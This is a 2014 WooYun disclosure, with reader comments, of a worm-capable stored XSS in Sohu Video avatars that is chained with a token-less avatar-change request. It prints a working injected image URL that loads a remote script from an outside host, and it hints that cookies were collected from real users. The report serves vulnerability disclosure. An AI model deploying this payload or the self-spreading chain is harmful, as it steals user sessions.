当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-054174

漏洞标题:搜狐视频主站存储+感染型XSS收件服务器已崩.

相关厂商:搜狐

漏洞作者: Levine

提交时间:2014-03-21 09:05

修复时间:2014-05-05 09:05

公开时间:2014-05-05 09:05

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-21: 细节已通知厂商并且等待厂商处理中
2014-03-21: 厂商已经确认,细节仅向厂商公开
2014-03-31: 细节向核心白帽子及相关领域专家公开
2014-04-10: 细节向普通白帽子公开
2014-04-20: 细节向实习白帽子公开
2014-05-05: 细节向公众公开

简要描述:

存储型XSS配合另一漏洞构造请求可达到感染传播目的.全站影响高危!分分钟让几百万人看不了 乡村爱情.

详细说明:

0x01
上传头像
0x02
点击保存,抓包如下

1.jpg


0x03
修改一下

2.jpg


0x04
看一下效果

3.jpg


起初以为到这步便是搞定了,未免太简单了 从发现到利用不到3分钟. 事实证明还是
too naive
1x01
其实漏洞确实是已经找出来了. 但要利用还有很长一段路.
首先想到的便是搜狐视频的主要业务 视频. 评论的时每人都有头像如果把这个头像带进去那就是结结实实的一个存储型XSS了.
你也一定以为是这样吧,但是现实就是这么残酷.
实际上评论头像是和用户头像分开的.应该是防止每次都去读取user表浪费资源吧,他的流程是这样的. 每隔一段时间同步一下用户的最新头像. 也就是说你新换头像去评论显示的还是老头像.
起初我等了一上午发现还是不更新便感觉不对了. 又注册了几个号进行测试发现有的号昵称变成了游客.有的号头像变成默认.起初以为是被封了.后来想想应该是同步时构造sql语句 src 中含有引号造成的.
OK 重新构造 xss 语句.
经过测试发现是双引号引起的.多次调试得到如下语句

http://223.img.pp.sohu.com.cn/p223/2014/3/21/4/10/4e4bca29bb884dbo_145b07deb95g201_00018_0.jpg?a=\" onload=$.getScript('//zuosi.me/zuo') a


4.jpg


大家可以注意一下a的位置 最后那个a 被当作属性解析出来把多余的引号带走了 所以不加是不行的.
1x02
来看一下效果,搜狐的小伙伴们表担心 那是张刮刮卡 文字颜色和背景色一样的

5.jpg


http://tv.sohu.com/20131105/n389579692.shtml


2x01
至此火已经放完了.我再来个助燃剂.
用户中心用户有6个历史头像,每个头像下有个按钮点击有会触发一个设置头像请求.非常棒 没有token.

6.jpg


这样我保存一个带有xss的头像方案.然后每个触发xss的用户头像都变为xss头像然后他在去评论.``` 相信我的服务器收件服务器永远起不来了
其实这里的CSRF可以单开一贴说事, 比如会被人利用恶意修改他人头像达到某种目的.不过这两个配合在一起威力才是真大.20 RANK真不高 给我加一起吧.
说着简单弄起来真心不容易,帮你们避免了巨大损失你们不表示表示?
求大礼品,高rank

漏洞证明:

7.jpg


↑↑↑↑↑↑↑↑↑

修复方案:

过滤

版权声明:转载请注明来源 Levine@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-03-21 11:02

厂商回复:

感谢支持。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-03-21 09:13 | ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子,但是除了他华...)

    乡村爱情有几百万人在看吗 ..

  2. 2014-03-21 09:16 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    造成对方网站或服务器无法运行是要追究责任的

  3. 2014-03-21 09:18 | Elegance ( 实习白帽子 | Rank:48 漏洞数:3 | 此人很懒,什么话都没留下!)

    作死节奏!

  4. 2014-03-21 09:28 | 啦绯哥 ( 普通白帽子 | Rank:107 漏洞数:20 )

    是收饼干的服务器崩了

  5. 2014-03-21 09:29 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井,架工,木工,电工,水暖工,力...)

  6. 2014-03-21 09:40 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    洞主进去后,肥皂掉了千万别捡

  7. 2014-03-21 10:01 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    服务器已崩!。。。你说的是搜狐的服务器还是你自己接收cookie的服务器。。

  8. 2014-03-21 10:02 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    原来是你,我这乡爱看的好好的,原来是你!

  9. 2014-03-21 11:09 | 野驴~ ( 路人 | Rank:5 漏洞数:2 | 充满强烈好奇心的菜鸟。)

    明显是洞主的cookie 服务器收的cookie 太多了崩了

  10. 2014-03-21 12:51 | Levine ( 实习白帽子 | Rank:44 漏洞数:5 | No Zuo No die)

    @U神 表吓我好吗, 我说收件服务器```

  11. 2014-03-21 13:04 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @Levine 好吧,我看错了我以为你把人家搜狐网崩了~

  12. 2014-03-21 13:23 | Levine ( 实习白帽子 | Rank:44 漏洞数:5 | No Zuo No die)

    搜狐没有奖励机制么``` 看到搜狐上次发礼物还是12年`` 怎么这么扣

  13. 2014-03-21 14:16 | 摩西 ( 路人 | Rank:1 漏洞数:1 | 码农..)

    貌似只送狐狸公仔吧~ 大不了给你一整套

  14. 2014-05-05 09:52 | ieasyi ( 路人 | Rank:3 漏洞数:2 )

    我去你的。我说乡村爱情咋回事呢。